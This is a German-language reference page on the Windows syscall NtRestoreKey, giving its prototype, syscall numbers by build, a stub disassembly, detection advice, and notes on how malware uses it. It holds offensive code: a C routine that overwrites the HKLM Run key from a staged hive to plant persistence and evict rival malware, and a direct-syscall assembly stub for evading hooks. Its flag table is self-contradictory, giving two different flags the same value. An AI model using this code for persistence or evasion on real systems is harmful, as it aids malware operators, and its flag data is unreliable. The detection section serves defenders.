> Windows Syscalls
ntoskrnl.exeT1112T1547.001T1106

NtRestoreKey

Überschreibt den Inhalt eines Registry-Schlüssels aus einer Hive-Datei — ersetzt Teilbäume en bloc.

Prototyp

NTSTATUS NtRestoreKey(
  HANDLE  KeyHandle,
  HANDLE  FileHandle,
  ULONG   Flags
);

Argumente

NameTypeDirDescription
KeyHandleHANDLEinGeöffnetes Handle auf den Registry-Schlüssel, dessen Inhalt ersetzt wird (KEY_WRITE erforderlich).
FileHandleHANDLEinGeöffnetes Handle auf die Hive-Datei mit dem Quell-Inhalt (mit GENERIC_READ geöffnet).
FlagsULONGinREG_WHOLE_HIVE_VOLATILE (4), REG_REFRESH_HIVE (2), REG_NO_LAZY_FLUSH (4), REG_FORCE_RESTORE (8).

Syscall-IDs pro Windows-Version

Windows-VersionSyscall-IDBuild
Win10 15070x160win10-1507
Win10 16070x167win10-1607
Win10 17030x16Dwin10-1703
Win10 17090x170win10-1709
Win10 18030x172win10-1803
Win10 18090x173win10-1809
Win10 19030x174win10-1903
Win10 19090x174win10-1909
Win10 20040x17Awin10-2004
Win10 20H20x17Awin10-20h2
Win10 21H10x17Awin10-21h1
Win10 21H20x17Cwin10-21h2
Win10 22H20x17Cwin10-22h2
Win11 21H20x184win11-21h2
Win11 22H20x187win11-22h2
Win11 23H20x187win11-23h2
Win11 24H20x189win11-24h2
Server 20160x167winserver-2016
Server 20190x173winserver-2019
Server 20220x182winserver-2022
Server 20250x189winserver-2025

Kernel-Modul

ntoskrnl.exeNtRestoreKey

Verwandte APIs

RegRestoreKeyWRegReplaceKeyWNtSaveKeyNtLoadKeyNtUnloadKey

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 89 01 00 00      mov eax, 0x189
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtRestoreKey ist die Umkehrung von NtSaveKey: Es ersetzt den Inhalt eines geöffneten Schlüssels durch das, was eine Hive-Datei enthält. Mit `REG_FORCE_RESTORE` tut der Kernel das selbst dann, wenn noch Handles auf den Ziel-Teilbaum offen sind. Der Caller benötigt **SeRestorePrivilege**. Der Win32-Wrapper ist `RegRestoreKeyW`. Die Operation ist auf Hive-Block-Ebene atomar; ein Teilausfall lässt das Ziel im Pre-Restore-Zustand.

Häufige Malware-Nutzung

Zwei Muster dominieren. Erstens, **Persistenz-Manipulation**: Ein Angreifer mit einer vorbereiteten Run-Key-Vorlage kann `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` (oder einen Service-Config-Teilbaum) en bloc überschreiben und jeden Eintrag in einem einzigen Syscall ersetzen — nützlich, um Persistenz zu pflanzen *und* gleichzeitig konkurrierende Einträge rivalisierender Malware zu löschen. Zweitens, **Rollback nach Manipulation**: Red-Team-Tooling macht einen NtSaveKey-Snapshot, ändert einen Schlüssel, erledigt die Arbeit und rollt dann per NtRestoreKey zurück, um Host-basiertes Change-Auditing auszuhebeln. Seltener: Ransomware tauscht damit Service-DLL-Pfade vor dem Reboot in großem Stil aus.

Erkennungs­möglichkeiten

ETW `Microsoft-Windows-Kernel-Registry` liefert ein eigenes Load/Restore-Event, getrennt von Value-Set-Events. Sysmon Event 13 feuert pro modifiziertem Wert — ein einzelner NtRestoreKey kann einen *Burst* von Event-13-Datensätzen mit identischen Timestamps unter demselben Schlüssel erzeugen, was selbst schon ein ungewöhnliches Muster mit Regel-Potenzial ist. Aktivierung von SeRestorePrivilege (Sysmon 4673) unmittelbar vor einem Registry-Write ist ein starker Frühindikator. Hunting-Tipp: auf REG_FORCE_RESTORE-Flag-Nutzung alarmieren — in gutartiger Software praktisch nie zu sehen.

Direkte Syscall-Beispiele

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtRestoreKey (SSN 0x189 on Win11 24H2 — drifts per build)
NtRestoreKey PROC
    mov  r10, rcx          ; KeyHandle
    mov  eax, 189h         ; SSN
    syscall
    ret
NtRestoreKey ENDP

cBulk-rewrite Run keys from staged template

// Overwrite HKLM\...\Run wholesale from a prepared hive file — useful for both
// persistence install and rival-eviction. Requires SeRestorePrivilege.
#include <windows.h>

LONG RestoreRunKey(LPCWSTR hivePath) {
    HKEY hRun = NULL;
    LONG s = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, KEY_ALL_ACCESS, &hRun);
    if (s != ERROR_SUCCESS) return s;
    // REG_FORCE_RESTORE (8) replaces even with open handles elsewhere.
    s = RegRestoreKeyW(hRun, hivePath, 8 /* REG_FORCE_RESTORE */);
    RegCloseKey(hRun);
    return s;
}

cDirect NtRestoreKey call

// Snap a key handle and a hive file handle, then restore atomically.
#include <windows.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *pNtRestoreKey)(HANDLE, HANDLE, ULONG);

NTSTATUS DoRestore(HANDLE hKey, HANDLE hFile, ULONG flags) {
    pNtRestoreKey fn = (pNtRestoreKey)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtRestoreKey");
    return fn(hKey, hFile, flags);
}

MITRE ATT&CK-Mappings

Last verified: 2026-05-20